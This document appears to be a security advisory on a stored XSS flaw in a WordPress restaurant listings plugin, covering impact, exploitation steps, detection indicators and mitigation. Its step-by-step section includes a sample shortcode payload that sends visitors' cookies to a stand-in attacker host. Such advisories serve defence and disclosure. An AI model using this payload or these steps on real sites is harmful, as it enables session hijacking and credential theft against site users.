CVE-2025-11830: 
WordPress vulnerability analysis and mitigation

CVE-2025-11830 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Restaurant Listings plugin for WordPress. It affects all versions up to and including 1.0.2, and was disclosed on October 22, 2025, by Wordfence. The flaw allows authenticated attackers with contributor-level access or higher to inject malicious scripts via the align parameter of the restaurant_summary shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and stems from insufficient input sanitization and output escaping in the plugin's shortcode handler. Specifically, the align parameter passed to the restaurant_summary shortcode is not properly validated before being rendered in the page output, as visible in the plugin source at class-wp-restaurant-listings-shortcodes.php line 511. An attacker with at least contributor-level WordPress access can embed a malicious script payload in a post or page using this shortcode, which then executes in the browser of any user who visits the affected page (Wordfence, Plugin Source).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers when they visit an injected page, impacting both confidentiality and integrity. This can lead to session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. While availability is not directly affected, the scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site (Wordfence).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-11830. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on a site running WP Restaurant Listings ≤ 1.0.2.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert a restaurant_summary shortcode with a crafted align parameter containing a JavaScript payload, e.g., [restaurant_summary align="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Save and publish the post so the injected content is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the page, the unsanitized align value is rendered into the HTML, causing the injected script to execute in their browser — enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing restaurant_summary shortcode with unusual align parameter values including HTML tags or JavaScript.
• Database: Entries in the wp_posts table containing [restaurant_summary shortcodes with align values that include <script>, onerror, onload, or other event handler attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the restaurant_summary shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for this stored XSS, but review recently modified posts/pages in the WordPress database for injected shortcode content.

Site administrators should update the WP Restaurant Listings plugin to a version beyond 1.0.2 that includes proper input sanitization and output escaping for the align parameter. If no patched version is yet available, disabling the plugin entirely is the recommended interim measure. Additionally, restricting contributor-level user registration and auditing existing contributor accounts can reduce the attack surface. WordPress administrators should also consider deploying a Web Application Firewall (WAF) with XSS filtering rules as a defense-in-depth measure (Wordfence).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for October 20–26, 2025, noting it as a medium-severity stored XSS issue. No significant broader media coverage, vendor statements beyond the Wordfence advisory, or notable researcher commentary has been identified for this CVE (Wordfence Blog).